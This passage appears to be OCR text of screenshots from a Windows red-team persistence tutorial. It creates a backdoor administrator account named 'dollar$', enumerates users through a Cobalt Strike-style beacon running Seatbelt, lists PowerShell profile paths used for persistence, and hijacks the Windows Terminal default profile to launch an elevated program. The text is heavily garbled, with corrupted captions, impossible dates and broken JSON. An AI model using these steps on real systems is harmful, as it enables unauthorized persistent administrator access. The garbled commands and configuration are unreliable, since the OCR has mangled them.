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C:\Windows‘\system32>net user dollar$ Passw@rd fadd
completed successfully.

rstem32>net localgroup administrators dollar$ /fadd
completed successfully.

User accounts for \\WEBB2

Administrator Default t
lpe WDAGUtilityAccount
The command completed successfully.
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C:\Windows‘\system32>net user dollar$

User nmame dollar$

Full MName

Comment

User's comment

Country/region code g8 (System Default)
Account active Yes

Account expires Never

Password last set 3/29/2823 1:53:46
Passuword expires 5/18/2823 1:53:46
Password changeable 3/38/2823 1:53:46
Password required Yes
User may change password Yes

Workstations allowed All
Logon script

User profile

Home directory

Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.

(TTT net user [T SAM DT WinPEAS[ISeatBelt [TTTTTT

beacon> execute-assembly seatbelt.exe LocallUsers

[*] Tasked beacon to run .NET program: seatbelt.exe LocalUsers
[+] host called home, sent: 702015 bytes

[+] received output
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ComputerName localhost

UserName dollar$

Enabled True

Rid 1006

UserType Administrator
Comment

PwdLastSet 3/29/2023 1:53:46 PM
LastLogon 1/1/1970 12:00:00 AM
NumLogins 0
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PowerShell [T]
(ITTTT] PowerShell.exe [T1TIPowerShell [TTTTTTTTITTITTTITT] $Profile | select * [TTTTT] PowerShell [TT1114

EN Administrator Windows PowerShell

urrent
urrent

C: \Windows\System32\WindowsPower Shell\vl. 0\profile. psl
C: \Windows\System32\WindowsPower Shell\vl. 0\Microsoft. PowerShell profile. psl
C: \Users\<[IT>\Documents\WindowsPower Shell\profile. psl
C: \Users\<[ITP\Documents\WindowsPower Shell\Microsoft. PowerShell profile. psl

I profile.ps1 TITITTITITIIIIIIT serveradm [ Web02 [TTTTTTIIITITITIIT] AllUsersAllk



https://raven-medicine.com/uploads/images/gallery/2023-03/Fj76mEc1ZwUgDWbG-image.png

€ - v

7 Quick access
I Desktop

{ Downloads
= Documents

| Pictures
= This PC

¥ Metwork

Share View

ershell_profile.psl

owershell profile.psl

» ThisPC » Local Disk (C:) » Windows » System32 » WindowsPowerShell » 1.0 »

MName B
en
en-Us
Examples
Modules
Schemas
SessionConfig
=] Certificateformat
|=| Diagnostics.Farmat
\=| DotMetTypes.format
=] Event.Format
=] FileSystem.format
=] getevent.types
=] Help.format
=] HelpV3.format
EX powershell
| | powershell.exe.config
Q powershell_ise
|| powershell_ise.exe.config
=| PowerShellCoreformat
=] PowerShellTrace.format
%] PSEvents.dll
%] pspluginwkr.dll
12| pwrshmsg.dll
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Type

File falder
File falder
File folder
File falder
File falder
File folder

Application
COMFIG File
Application
COMFIG File

Windows Power5...
Windows Power5...
Application extens...
Application extens...
Application extens...

[TITTIIITIITIIT] calc.exe[TTTITIITIITIIIT PowerShell [(TTTTITTIITIII

Windows Powers...
Windows Powers...
Nindows Power5...
Nindows Powers...
Windows Powers...
Nindows Power5...
Nindows Powers...

Windows Powers...

Size

13 KB
5KB
135 KB
10 KB
25 KB
G KB
90 KB
136 KB
438 KB
1KB
208 KB
1KB
202 KB
5KB
55 KB
171 KB
KB
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Pre-requisites ...,
Validate Data .....
Process Data ..
Generate Results .,
Validate Results .,

Results:

3/5 Pass
1/5 Partial
1/5 Fail
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Windows Terminal C: \Users\Aduinistrator,

Microsoft Corporation

cinnamon®ROLL  ~\Gi

Description

Average . The Windows Terminal is a modern, fast, efficient, powerful, and productive terminal application for users
: of command-line tools and shells like Command Prompt, PowerShell, and WSL. Its main features include
multiple tabs, panes, Unicode and UTF-8 character support, a GPU accelerated text rendering engine, and
custom themes, styles, and configurations.

This is an open source project and we welcome community participation. To participate please visit https://

The Windows Terminal is a modern, fast, Ty B T )

efficient, powerful, and productive terminal
application for users of command-line tools an...
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2 Windows PowerShell

Windows PowerShell Windows PowerShell Ctrl+Shift+1
Copyright (C) Microsoft Co
Command Prompt Ctrl+Shift+2

Try the new cross—-platforn K
y P Azure Cloud Shell Ctrl+Shift+3

PS C:\Users\ntsystem> Developer Command Prompt for VS 2022 Ctrl+Shift+4

Developer PowerShell for VS 2022 Cirl +Shift+5

Settings Ctrl+,

Command Palette Ctrl+Shift+P

About

[@:NDsers\<[]T]>\AppData\Local\Packages\Microsoft.WindowsTerminal_<Package
ID>\LocalState []]]] settings.json[]
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"profiles":

{
"defaults": {},
"list":
[

{
"commandline”: "%SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",

"guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
"hidden": false,
"name": "Windows PowerShell"

|3

{
"commandline”: "%SystemRoot%\\System32\\cmd.exe",
"guid": "{0caa0dad-35be-5f56-a8ff-afceeeaa101}",
"hidden": false,
"hame": "Command Prompt"

|3

{
"guid": "{b453ae62-4e3d-5e58-b989-0a998ec441b8}",
"hidden": false,
"name": "Azure Cloud Shell",
"source": "Windows.Terminal Azure"

|3

{
"guid": "{edc79606-9916-58c0-a178-4877e8768c6¢}",
"hidden": false,
"name": "Developer Command Prompt for VS 2022",
"source": "Windows.Terminal.VisualStudio"

|3

[figtaultProfile[TTTTTT] GUIDITITITIT] Shell [TTTTT] PowerShell [TTTTTT] ShelITTTTTITTTTIITITTIITTTTTIT

{
"guid": "{[kdefaultProfile> GUID [ITT+",
"name": "Proof Of Concept",
"commandline": "%SystemRoot%\\System32\\calc. exe",

"elevate": true

}I
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"copyFormatting": "none”,

"copyOnSelect": false,

"defaultProfile": "{e61dfabe-2fd4-40ff-86fe-19cccbh2535f7}",
"profiles":

"defaults": {},

"guid": "{e61dfabe-2fd4-40ff-86fe-19cccb2535f7}",
"name": "Proof Of Concept”,

"commandline”: "%SystemRoot%\\System32\\calc.exe",
"elevate": true

{
"commandline": "%SystemRoot%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
"hidden": false,
"name": "Windows PowerShell"

|3

{
"commandline”: "%SystemRoot%\\System32\\cmd.exe",
"guid": "{OcaaOdad-35be-5{56-a8ff-afceeeaab101}",
"hidden": false,
"name": "Command Prompt"

|3
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